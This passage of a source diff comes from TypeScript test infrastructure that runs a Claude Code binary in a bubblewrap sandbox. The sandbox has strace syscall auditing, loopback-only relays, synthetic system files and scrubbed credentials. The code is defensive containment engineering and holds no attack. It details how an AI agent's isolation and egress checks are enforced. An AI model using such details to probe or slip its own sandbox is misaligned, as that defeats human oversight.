"trace=connect,%file,%process,kill,tgkill,pidfd_send_signal,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,kill,tgkill,pidfd_send_signal,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], - afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);}, - beforeLaunch() { - sharedAudit?.beforeLaunch(); - if (!storageIntact()) refuse("native audit storage integrity failed"); - if (workerUid !== undefined && !accessPrepared) { - if (!auditAcl("set", workerUid, directory, log)) { - closeAudit();cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); - } - accessPrepared = true; - if (!storageIntact()) refuse("native audit storage integrity failed"); - } - }, - dispose() { finish(); }, receipt: finish, - nativeExecuted(){ - if(restrictedProbe)return false; - if(receipt)return receipt.nativeLaunched; - if(!storageIntact())return false; - try{const trace=sharedAudit?Buffer.from(sharedAudit.read()):readFileSync(log);return storageIntact()&&nativeExecObserved(trace.toString("utf8"),expected);}catch{return false;} - }, - liveExecs(){ - if(!storageIntact())throw Error("native fixture RTK audit integrity unavailable"); - const bytes=sharedAudit?Buffer.from(sharedAudit.read()):readFileSync(log);if(bytes.length>8*1024*1024||!storageIntact())throw Error("native fixture RTK audit unavailable"); - const pids=new Map(); - for(const {pid,path} of nativeExecTrace(bytes.toString("utf8")).events){ - if(pid>0&&expected.includes(path)){let start=liveStarts.get(pid);if(!start){try{start=processStart(pid);}catch{continue;}liveStarts.set(pid,start);}pids.set(pid,start);} - } - return pids; - } }; -} - -/** Exact product systemMounts roles; the test compares these names with production. */ -export const nativeDistributionConfigNames=["ld.so.conf","ld.so.conf.d"] as const; -export const nativeSyntheticSystemNames=["passwd","group","nsswitch.conf","hosts"] as const; -export function nativeDistributionConfigFiles(directory:string):string[]{ - if(realpathSync(directory)!==directory||!lstatSync(directory).isDirectory())throw Error("Distribution configuration directory is not canonical"); - return readdirSync(directory).map(name=>{ - const path=join(directory,name),real=realpathSync(path),info=lstatSync(path); - if(!name.endsWith(".conf")||!within("/etc",real)||!statSync(real).isFile()||!info.isFile())throw Error("Distribution configuration must contain only non-symlink regular config files inside etc"); - return path; - }); -} -function nativeSystemConfigMounts(directory:string,workerUid?:number):string[]{ - const uid=nativeKernelIdentity().uid,gid=nativeKernelIdentity().gid,accounts=new Map([[0,"root"]]); - if(uid!==0)accounts.set(uid,"odysseus"); - if(workerUid!==undefined&&!accounts.has(workerUid))accounts.set(workerUid,"odysseus-worker"); - writeFileSync(join(directory,"passwd"),[...accounts].map(([id,name])=>`${name}:x:${id}:${id===0?0:gid}:Odysseus:/tmp/native-account:/bin/sh\n`).join("")); - writeFileSync(join(directory,"group"),`root:x:0:\n${gid===0?"":`odysseus:x:${gid}:\n`}`); - writeFileSync(join(directory,"nsswitch.conf"),"passwd: files\ngroup: files\nhosts: files\n"); - writeFileSync(join(directory,"hosts"),"127.0.0.1 localhost\n::1 localhost\n"); - for(const name of nativeSyntheticSystemNames)chmodSync(join(directory,name),0o444); - const mounts=nativeSyntheticSystemNames.flatMap(name=>["--ro-bind",join(directory,name),`/etc/${name}`]); - for(const name of nativeDistributionConfigNames){ - const source=`/etc/${name}`,target=join(directory,name);if(!existsSync(source))continue; - if(name==="ld.so.conf.d"){ - mkdirSync(target,{mode:0o755});chmodSync(target,0o755);for(const path of nativeDistributionConfigFiles(source)){const file=join(target,basename(path));writeFileSync(file,readFileSync(path),{mode:0o444});chmodSync(file,0o444);} - }else{if(!statSync(source).isFile()||!within("/etc",realpathSync(source)))throw Error("Distribution configuration file is not regular");writeFileSync(target,readFileSync(source),{mode:0o444});chmodSync(target,0o444);} - mounts.push("--ro-bind",target,source); - } - return mounts; -} -/** One Unix socket forwards only to the explicitly selected scripted service. */ -export function startNativeTestRelay(upstream: string | undefined, workerUid?:number) { - let target: URL; - try { target = new URL(upstream!); } catch { return refuse("missing scripted loopback service"); } - if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || - target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted loopback service"); - if (target.hostname === "localhost") target.hostname = "127.0.0.1"; - const directory = mkdtempSync(join(tmpdir(), "odysseus-native-relay-")); - const socket = join(directory, "relay.sock"); - let configurationMounts:string[]; - try{configurationMounts=nativeSystemConfigMounts(directory,workerUid);}catch{rmSync(directory,{recursive:true,force:true});return refuse("native distribution configuration is unavailable",{sourceKind:"fixed-system",targetKind:"isolated-config",metadataError:"UNKNOWN"});} - const handle = async (request: Request): Promise => { - const url = new URL(request.url); - // Concatenate onto the fixed authority; never resolve a request-controlled - // path as a relative URL, where // or backslashes could replace that host. - const outbound = new URL(target.origin + url.pathname + url.search); - if (url.origin !== "http://localhost" || !url.pathname.startsWith("/") || url.pathname.startsWith("//") || - url.pathname.includes("\\") || outbound.origin !== target.origin) { - denied++; - nativeReceipt({ kind: "native-offline-route-denial", success: false, reason: "unintended native destination", head: nativeTestHead() }); - return new Response("Offline native destination refused", { status: 403 }); - } - // A redirect is returned to the isolated native process; it cannot make a - // TCP connection or obtain another host socket through this bridge. - return fetch(outbound, { method: request.method, headers: request.headers, - body: request.body, redirect: "manual", signal: request.signal }); - }; - const server = Bun.serve({ unix: socket, fetch: handle }); - return { directory, handle, configurationMounts, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; -} - -export const WORKER_TURN_PROXY="/run/brain-egress/proxy.sock"; -/** Raw fixture tunnel only to the explicitly registered loopback turn proxy. */ -export function startNativeTurnProxyTunnel(origin:string,directory:string){ - const target=new URL(origin),socket=join(directory,"turn-proxy.sock"); - if(target.protocol!=="http:"||!["127.0.0.1","localhost","[::1]"].includes(target.hostname)||!target.port||target.username||target.password||target.pathname!=="/"||target.search||target.hash)refuse("invalid scripted turn proxy"); - const host=target.hostname==="[::1]"?"::1":"127.0.0.1"; - const net=createRequire(import.meta.url)("node:net") as typeof import("node:net"); - const server=net.createServer(peer=>{ - const upstream=net.connect({host,port:Number(target.port)}); - peer.on("error",()=>upstream.destroy());upstream.on("error",()=>peer.destroy()); - peer.on("close",()=>upstream.destroy());upstream.on("close",()=>peer.destroy()); - peer.pipe(upstream);upstream.pipe(peer); - }); - server.listen(socket);const forget=rememberRelay(socket,target.origin,()=>server.listening); - return {socket,dispose(){forget();server.close();}}; -} - -function expectedNativeExec(command: string, args: readonly string[], options: SpawnContext): string[] { - const native = nativeExecutableCandidates(command, args).filter(value => isNativeClaude(value, [], options)); - return [...new Set(native.flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; -} - -/** Retain only the admitted server's exact base path; authority remains local IPC. */ -export function nativeAdmittedRelayBaseUrl(value:string|undefined,admitted:boolean):string { - if(!admitted)return "http://localhost"; - value??="http://localhost"; - const match=/^https?:\/\/([^/?#]+)(\/[^?#]*)?$/.exec(value),path=match?.[2]??""; - if(!match||/[\\\s]/.test(value)||/%(?:2f|2e|5c)/i.test(path)||/(?:^|\/)\.{1,2}(?:\/|$)/.test(path)||path.endsWith("/"))refuse("admitted relay base path is not canonical"); - let url:URL;try{url=new URL(value);}catch{return refuse("admitted relay base path is not canonical");} - if(url.username||url.password||url.pathname!==(path||"/"))refuse("admitted relay base path is not canonical"); - return "http://localhost"+path; -} - -/** Preserve direct-query authentication; the trusted forwarder mints only transport. */ -export function nativeDirectTransportEnvironment(env:Record,relayed:boolean):Record { - return relayed?{ANTHROPIC_BASE_URL:nativeAdmittedRelayBaseUrl(env.ANTHROPIC_BASE_URL,true),ANTHROPIC_UNIX_SOCKET:"/tmp/native-relay/relay.sock"}:{ANTHROPIC_BASE_URL:"http://127.0.0.1",...(env.ANTHROPIC_UNIX_SOCKET===""?{ANTHROPIC_UNIX_SOCKET:""}:{})}; -} -export function nativeDirectTransportCommand(command:readonly string[]):string[] { - return ["/usr/bin/python3","-I","-S","-c",'import os,sys,urllib.parse\np=urllib.parse.urlsplit(os.environ["HTTP_PROXY"])\nassert p.scheme=="http" and p.hostname=="127.0.0.1" and p.port and not p.username and not p.password and not p.path and not p.query and not p.fragment\nos.environ["ANTHROPIC_BASE_URL"]=os.environ["HTTP_PROXY"]\nos.execvp(sys.argv[1],sys.argv[1:])',...command]; -} - -/** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ -export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; receiptMode?:"restricted-probe" }): Boundary { - return guardTiming("plan-inspection",()=>nativeClaudeBoundaryInspected(command,args,options)); -} -function nativeClaudeBoundaryInspected(command: string, args: string[], options: { cwd?: string; env?: Record; receiptMode?:"restricted-probe" }): Boundary { - if(fixtureProbeContext.getStore()||guardIdentityQualification.getStore())refuse("metadata-only probe cannot admit a native runtime"); - qualify(); - const env = options.env ?? process.env; - const route = scriptedRoute.getStore(); - if (!route) refuse("scripted service authority was not registered"); - try{route.revalidate?.();}catch{refuse("native fixture authority is no longer live");} - const versionOnly = args.at(-1) === "--version"; - const versionHome = versionOnly ? mkdtempSync(join(tmpdir(), "odysseus-native-version-")) : undefined; - const cwd = versionHome ?? realpathSync(options.cwd ?? process.cwd()); - const home = versionHome ?? (env.HOME && realpathSync(env.HOME)); - if (!home || !within(tmpdir(), home) || home === tmpdir() || cwd === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { - refuse("native launch requires fixture-owned storage"); - } - const inheritedSocket = env.ANTHROPIC_UNIX_SOCKET; - const inheritedOrigin = inheritedSocket ? ownedSocketOrigin(inheritedSocket) : undefined; - if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); - if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); - const bridge = startNativeTestRelay(route.origin); - const authStatus=args.some((value,index)=>value==="auth"&&args[index+1]==="status"); - const direct=!inheritedOrigin&&!authStatus; - const turnProxy=!authStatus&&(direct||route.turnProxy)?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; - let readiness:ReturnType|undefined; - try { - if(versionOnly){try{readiness=prepareNativeLaunchReadiness();}catch{refuse("native guard readiness setup unavailable");}} - const tools = fixtureToolView(env, cwd, home); - command = resolveExecutable(command, options); - const executable = realpathSync(command); - if(options.receiptMode==="restricted-probe"&&isNativeClaude(command,args,options))refuse("native runtime cannot use restricted probe receipt mode"); - const mounts = [...systemMounts(),...nativeFixtureManagedSettingsMounts(), - "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), - "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), "--bind", home, home, - ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), - ...tools.mounts,...(readiness?.mounts??[]), - "--ro-bind", bridge.directory, "/tmp/native-relay", - ...bridge.configurationMounts, - ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), - ...nativeFixtureFileMounts(bridge.directory), - ...(turnProxy?["--dir","/run/brain-egress","--ro-bind",turnProxy.socket,WORKER_TURN_PROXY]:[]),]; - const beforeLaunch = () => {try{fixtureManagedSettings.get(route)?.check();route.revalidate?.();}catch{refuse("native fixture authority is no longer live");}assertNativeMountSockets(mounts, route.origin);}; - beforeLaunch(); - const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; - const childEnv: Record = { ...nativeProductEnvironment(env), HOME: home, - PATH: tools.path, - ...nativeDirectTransportEnvironment(env,Boolean(inheritedOrigin)), - ...(!authStatus?{BRAIN_TEST_EFFECT_SOCKET:"/tmp/native-relay/relay.sock"}:{}), - }; - // These are public model selectors, never ambient provider credentials. - for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "CLAUDE_CODE_USE_BEDROCK", "CLAUDE_CODE_USE_VERTEX", "CLAUDE_CODE_USE_FOUNDRY", "ENABLE_TOOL_SEARCH", "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "DISABLE_AUTOUPDATER", "DISABLE_PROMPT_CACHING"]) { - if (env[key]) childEnv[key] = env[key]!; - } - Object.assign(childEnv, syntheticCredentials(env)); - if (["0", "1"].includes(env.USE_BUILTIN_RIPGREP ?? "")) childEnv.USE_BUILTIN_RIPGREP = env.USE_BUILTIN_RIPGREP!; - if (inheritedOrigin) Object.assign(childEnv, relayCredentialPlaceholders(env)); - if (authStatus) { - // Auth status inspects the isolated fixture login; injecting an API key - // would change the very authentication method the fixture is testing. - for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_UNIX_SOCKET"]) delete childEnv[key]; - } - for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); - const readyCommand=readiness?.wrap([command,...args])??[command,...args]; - const payload=nativeSocketCommand(direct?nativeDirectTransportCommand(readyCommand):readyCommand,inheritedSocket&&inheritedOrigin?inheritedSocket:join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",turnProxy?{source:turnProxy.socket,allowed:WORKER_TURN_PROXY}:undefined); - argv.push("--chdir",cwd,"--",...(turnProxy?[process.execPath,"--config=/dev/null","--no-env-file",join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"),...(direct?["--direct-loopback"]:[]),...payload]:payload)); - const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); - beforeLaunch(); - guardedPlans.add(audited.argv); - const boundary={ ...audited, env: {},forSynchronousSpawn():GuardedPlan{return refuse("synchronous native launch is unavailable");}, beforeLaunch(){guardTiming("launch-validation",()=>{beforeLaunch();audited.beforeLaunch();});},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid,beforeLaunch);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; - } catch (error) { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } -} - -/** Only the actual provider-history helper allocation can supply this policy. */ -const fixtureManagedSettings=new WeakMap(); -let fixtureManagedSettingsFactory:typeof import("../tests/helpers/provider-history").allocateManagedSettingsFixture|undefined; -function validateFixtureManagedSettings(bytes:Buffer):void { - const value=JSON.parse(bytes.toString("utf8")); - if(!value||typeof value!=="object"||Array.isArray(value)||Object.keys(value).some(key=>key!=="env")||!value.env||typeof value.env!=="object"||Array.isArray(value.env)||Object.keys(value.env).some(key=>key!=="ENABLE_TOOL_SEARCH")||!["true","false"].includes(value.env.ENABLE_TOOL_SEARCH))throw Error("Fixture managed settings content refused"); -} -export function nativeFixtureManagedSettings(root:string,source=join(root,"managed-settings/claude-code/managed-settings.json")):()=>void { - const scope=scriptedRoute.getStore(); - const deny=():never=>refuse("fixture managed settings unavailable"); - if(!scope||!scope.isLive()||!scope.fixtureRoots.includes(root)||realpathSync(root)!==root||source!==join(root,"managed-settings/claude-code/managed-settings.json")||fixtureManagedSettings.has(scope))return deny(); - let allocation:ReturnType|undefined; - try{ - const rootStamp=lstatSync(root,{bigint:true}),declared=scope.fixtureRootStamps.get(root);if(!declared||rootStamp.dev!==declared.dev||rootStamp.ino!==declared.ino)throw Error("Foreign fixture root"); - const inspect=(path:string)=>{const info=lstatSync(path,{bigint:true});if(!info.isFile()||info.nlink!==1n||info.size>65536n||info.uid!==BigInt(nativeKernelIdentity().uid)||realpathSync(path)!==path)throw Error("Foreign fixture settings");return fixturePathKey(path);}; - const original=inspect(source),bytes=readFileSync(source);validateFixtureManagedSettings(bytes);const digest=createHash("sha256").update(bytes).digest("hex"); - fixtureManagedSettingsFactory??=(createRequire(import.meta.url)(new URL("../tests/helpers/provider-history.ts?native-managed-settings="+crypto.randomUUID(),import.meta.url).href) as typeof import("../tests/helpers/provider-history")).allocateManagedSettingsFixture; - allocation=fixtureManagedSettingsFactory(root,source); - const directory=dirname(allocation.path),folder=lstatSync(directory);if(dirname(directory)!==root||!basename(directory).startsWith("odysseus-managed-settings-")||basename(allocation.path)!=="managed-settings.json"||realpathSync(directory)!==directory||!folder.isDirectory()||folder.uid!==nativeKernelIdentity().uid||(folder.mode&0o7777)!==0o700)throw Error("Foreign helper allocation"); - chmodSync(allocation.path,0o444);const pin=inspect(allocation.path);let active=true; - const check=()=>{if(!active||!scope.isLive()||scriptedRoute.getStore()!==scope||inspect(source)!==original||inspect(allocation!.path)!==pin||fileHash(source)!==digest||fileHash(allocation!.path)!==digest)throw Error("Fixture managed settings changed or expired");}; - check();const close=()=>{if(!active)return;active=false;allocation!.close();}; - fixtureManagedSettings.set(scope,{mounts:["--ro-bind",allocation.path,"/etc/claude-code/managed-settings.json"],check,close}); - return close; - }catch{allocation?.close();return deny();} -} -export function nativeFixtureManagedSettingsMounts():string[]{const scope=scriptedRoute.getStore(),entry=scope&&fixtureManagedSettings.get(scope);if(!entry)return [];try{entry.check();return [...entry.mounts];}catch{return refuse("fixture managed settings unavailable");}} - -interface ScriptedAuthority { isLive():boolean; fixtureCredentials:ReadonlyMap; origin: string; fixtureRoots: readonly string[]; fixtureRootStamps: ReadonlyMap; fixtureFiles: ReadonlyMap; turnProxy?: boolean;revalidate?:()=>void } -const scriptedRoute = new AsyncLocalStorage(); -export function nativeFixtureTitleCollector(env:Record):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("native title collector declaration unavailable");return registerNativeTitleCollector(env,scope);} - -export interface NativeFixtureWorkerSpawnRecord {pid:number;start:string;argv:readonly string[];command:readonly string[];env:Readonly>;brainPath:string|undefined;bwrap:number;statusPrefixLength:number} -const workerSpawnRecords=new WeakSet(),workerSpawnObservers=new Set<{scope:ScriptedAuthority;observe:(record:NativeFixtureWorkerSpawnRecord)=>void}>(); -export function nativeFixtureIsWorkerSpawnRecord(record:object):boolean{return workerSpawnRecords.has(record);} -export function nativeFixtureObserveWorkerSpawns(observe:(record:NativeFixtureWorkerSpawnRecord)=>void):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("worker spawn observation requires scripted scope");const entry={scope,observe};workerSpawnObservers.add(entry);return ()=>workerSpawnObservers.delete(entry);} -function recordFixtureWorkerSpawn(pid:number,launch:{argv?:string[];command:readonly string[];env?:Record;brainPath?:string},scope:ScriptedAuthority,boundary?:GuardedPlan):void { - const matching=[...workerSpawnObservers].filter(entry=>entry.scope===scope);if(!matching.length)return; - const bwrap=nativeBwrapIndex(launch.argv!); - // The validated status shell is an outer one-shot FD handoff. Replays use - // their own status descriptors, retaining every subsequent sandbox prefix. - const statusPrefixLength=bwrap>0&&basename(launch.argv![0]!)==="sh"&&launch.argv![3]==="brain-worker-status"?6:0; - const record=Object.freeze({pid,start:processStart(pid),argv:Object.freeze([...launch.argv!]),command:Object.freeze([...launch.command]),env:Object.freeze({...launch.env}),brainPath:launch.brainPath,bwrap,statusPrefixLength});workerSpawnRecords.add(record);if(boundary)guardedBoundaries.set(record.argv,boundary);for(const entry of matching)entry.observe(record); -} - -/** Test code pins its scripted service before building a restricted turn. */ -export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: readonly string[]; fixtureFiles?: readonly string[]; fixtureCredentials?:Readonly>; turnProxy?: boolean }): () => void { - const previous = scriptedRoute.getStore(); - scriptedRoute.enterWith(undefined); - let target:URL;try{target=new URL(origin);}catch{refuse("invalid scripted route authority");} - if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted route authority"); - const prior = previous?.origin === target.origin ? previous : undefined; - let authority: ScriptedAuthority;let active=true; - try { - const fixtureRoots = fixture?.fixtureRoots?.map(path => { - let real:string;try{real=realpathSync(path);}catch{refuse("fixture root registration is unavailable");} - if (FORBIDDEN_BIND_ROOTS.has(real) || !statSync(real).isDirectory()) refuse("invalid fixture root registration"); - return real; - }) ?? prior?.fixtureRoots ?? []; - const fixtureRootStamps = fixture?.fixtureRoots ? new Map(fixtureRoots.map(path=>{const info=lstatSync(path,{bigint:true});return [path,{dev:info.dev,ino:info.ino}] as const;})) : prior?.fixtureRootStamps ?? new Map(); - const fixtureFiles = fixture?.fixtureFiles ? new Map(fixture.fixtureFiles.map(path => { - // Keep the spelling as well as realpath: normalization must not bless aliases. - let real:string,info:ReturnType; - try{real=realpathSync(path);info=lstatSync(path);}catch{return refuse("fixture files require a canonical unlinked regular file under a declared root");} - const declared=fixtureRoots.some(root=>within(root,path)); - if(!path.startsWith("/")||resolve(path)!==path||real!==path||!info.isFile()||info.nlink!==1||!declared||basename(path)===".credentials.json")refuse("fixture files require a canonical unlinked regular file under a declared root"); - return [path,{bytes:new Uint8Array(readFileSync(path)),mode:(info.mode&0o111)?0o555:0o444}] as const; - })) : prior?.fixtureFiles ?? new Map(); - // Only an explicit fixture declaration preserves arbitrary credential bytes; - // ambient credentials still pass through the synthetic scrubber above. - const fixtureCredentials=fixture?.fixtureCredentials?new Map(Object.entries(fixture.fixtureCredentials).map(([key,value])=>{ - if(!["ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN"].includes(key)||typeof value!=="string"||!value||value.includes("\0"))refuse("invalid fixture credential declaration");return [key,value] as const; - })):fixture?.fixtureRoots===undefined?prior?.fixtureCredentials??new Map():new Map(); - authority = Object.freeze({ isLive:()=>active&&(fixture?.fixtureRoots===undefined&&prior?prior.isLive():true),fixtureCredentials, origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy,revalidate:fixture?.fixtureRoots===undefined?prior?.revalidate:undefined }); - } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("fixture registration is unavailable"); } - scriptedRoute.enterWith(authority); - return () => { active=false;if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; -} - -const fixtureAppAuthorities=new WeakMap(); -/** App fixtures own their boot probe authority; it never substitutes a real provider. */ -export function nativeFixtureAppAuthority(roots:readonly string[]):()=>void { - let prior=scriptedRoute.getStore(); - // An await can retain a closed app's ALS context after its cleanup returned. - // Independent apps inherit the explicit enclosing fixture, never each other. - while(prior&&fixtureAppAuthorities.has(prior))prior=fixtureAppAuthorities.get(prior)!.previous; - scriptedRoute.enterWith(prior); - const server=prior?undefined:Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response(null,{status:400})}); - const leave=nativeScriptedService(prior?.origin??server!.url.origin,{fixtureRoots:[...new Set([...(prior?.fixtureRoots??[]),...roots])],fixtureCredentials:Object.fromEntries(prior?.fixtureCredentials??[]),turnProxy:prior?.turnProxy}); - const registered=scriptedRoute.getStore()!,lifetime={previous:prior,active:true}; - const authority=Object.freeze({...registered,revalidate(){prior?.revalidate?.();if(!lifetime.active)throw Error("native fixture app authority unavailable");}}); - fixtureAppAuthorities.set(authority,lifetime);scriptedRoute.enterWith(authority); - return ()=>{if(!lifetime.active)return;lifetime.active=false;if(scriptedRoute.getStore()===authority){scriptedRoute.enterWith(registered);leave();}server?.stop(true);}; -} - -interface NativePrivateIndexRole {root:string;brain:string;scope:ScriptedAuthority;dev:bigint;ino:bigint;active:boolean} -const nativePrivateIndexes=new Set(); -/** Called only on the real allocator result, for the acquired turn's lifetime. */ -export function nativeFixturePrivateIndex(root:string,brain:string,required=true):()=>void { - const scope=scriptedRoute.getStore(); - // Non-native policy fixtures have no scripted authority to register against. - // Observing their allocator must not manufacture one. - if(!scope&&!required)return ()=>{}; - scope?.revalidate?.(); - const info=lstatSync(root,{bigint:true}); - if(!scope||!scope.fixtureRoots.includes(brain)||realpathSync(brain)!==brain||realpathSync(root)!==root||resolve(root)!==root||dirname(root)!==realpathSync(tmpdir())||!/^brain-private-index-[A-Za-z0-9]+$/.test(basename(root))||!info.isDirectory()||info.uid!==BigInt(nativeKernelIdentity().uid))throw Error("private index fixture declaration unavailable"); - const role:NativePrivateIndexRole={root,brain,scope,dev:info.dev,ino:info.ino,active:true};nativePrivateIndexes.add(role); - return ()=>{role.active=false;nativePrivateIndexes.delete(role);}; -} -function privateIndexBind(flag:string,source:string,target:string,scope:ScriptedAuthority):NativePrivateIndexRole|undefined { - const role=[...nativePrivateIndexes].find(role=>role.root===source&&role.scope===scope); - if(!role)return; - const info=lstatSync(source,{bigint:true}); - if(!role.active||flag!=="--ro-bind"||target!==join(role.brain,".brain-index")||realpathSync(source)!==source||!info.isDirectory()||info.uid!==BigInt(nativeKernelIdentity().uid)||info.dev!==role.dev||info.ino!==role.ino)refuse("private index fixture declaration unavailable",{sourceKind:"product-private-index",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}); - return role; -} - -interface CopiedFixtureTurnTree {brain:string;view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView;root:string;index:string;scope:ScriptedAuthority;live:()=>boolean;active:boolean;stamps:ReadonlyMap} -const copiedFixtureTurnTrees=new Set(); -/** Explicit declaration of the real copied fixture's returned roots, never a managed-tree exemption. */ -export function nativeFixtureCopiedTurnTree(brain:string,view:CopiedFixtureTurnTree["view"],tree:{root:string;index:string},live:()=>boolean,required=true):()=>void { - const scope=scriptedRoute.getStore();if(!scope&&!required)return ()=>{}; - if(!scope)throw Error("copied fixture turn tree scope is unavailable"); - const stamp=(path:string)=>{const info=lstatSync(path,{bigint:true});return {dev:info.dev,ino:info.ino};}; - const role:CopiedFixtureTurnTree={brain,view,root:tree.root,index:tree.index,scope,live,active:true,stamps:new Map([brain,view.root,tree.root,tree.index].map(path=>[path,stamp(path)]))}; - validateCopiedFixtureTurnTree(role,scope);copiedFixtureTurnTrees.add(role); - return ()=>{role.active=false;}; -} -function validateCopiedFixtureTurnTree(role:CopiedFixtureTurnTree,scope:ScriptedAuthority):void { - const identity=nativeKernelIdentity(),{brain,view,root,index}=role; - if(!role.active||role.scope!==scope||!role.live()||view.brain!==brain||!scope.fixtureRoots.includes(brain)||dirname(root)!==realpathSync(tmpdir())||!/^brain-turn-data-[A-Za-z0-9]+$/.test(basename(root))||dirname(index)!==realpathSync(tmpdir())||!/^brain-private-index-[A-Za-z0-9]+$/.test(basename(index))||root===index)throw Error("copied fixture turn tree declaration unavailable"); - for(const path of [brain,view.root,root,index]){ - const info=lstatSync(path,{bigint:true}),stamp=role.stamps.get(path); - if(resolve(path)!==path||realpathSync(path)!==path||!info.isDirectory()||info.uid!==BigInt(identity.uid)||info.gid!==BigInt(identity.gid)||!stamp||info.dev!==stamp.dev||info.ino!==stamp.ino)throw Error("copied fixture turn tree declaration unavailable"); - } - scope.revalidate?.(); -} -/** A raw brain bind is unexposed only beneath this role's exact later view. */ -function copiedBrainBindShadowed(mounts:readonly string[],at:number,scope:ScriptedAuthority|undefined):boolean { - if(!scope||mounts[at]!=="--ro-bind"||mounts[at+1]!==mounts[at+2])return false; - const brain=mounts[at+1],role=[...copiedFixtureTurnTrees].find(role=>role.brain===brain&&role.scope===scope); - if(!role)return false; - let overlay=-1; - for(let i=at+3;irole.root===source||role.index===source);if(!role)return; - if(source===role.index&&target===join(role.brain,".brain-index"))return; - try{ - validateCopiedFixtureTurnTree(role,scope); - const {WORKER_DATA_ROOT}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-sandbox.ts"); - if(flag!=="--ro-bind"||target!==(source===role.root?WORKER_DATA_ROOT:join(WORKER_DATA_ROOT,".brain-index")))throw Error("copied fixture turn tree bind differs"); - }catch{refuse("copied fixture turn tree declaration unavailable",{sourceKind:"fixture-turn-data",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} - return role; -} - -/** Snapshot only individually declared files; siblings and directories never enter. */ -export function nativeFixtureFileMounts(directory:string):string[] { - const mounts:string[]=[];let index=0; - for(const [target,file] of scriptedRoute.getStore()?.fixtureFiles??[]){ - const staged=join(directory,`fixture-file-${index++}`);writeFileSync(staged,file.bytes,{flag:"wx",mode:file.mode});chmodSync(staged,file.mode); - mounts.push("--ro-bind",staged,target); - } - return mounts; -} - -/** Declare only the acquired strict turn's two roots while its owner is held. */ -export function nativeFixtureTurnDataTree(origin:string,brain:string,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,tree:import("../packages/ui-sdk/src/server/worker-sandbox").WorkerDataTree):()=>void { - const prior=scriptedRoute.getStore(); - const {isManagedWorkerStartupView,isNativeWorkerStartupRoot}=createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-startup-view.ts"); - const expected=join(dirname(brain),".brain-native","trees"),parent=dirname(tree.root); - const declared=[tree.root,tree.index];let closed=false; - const stamps=declared.map(path=>{try{const info=lstatSync(path,{bigint:true});return {dev:info.dev,ino:info.ino};}catch{throw 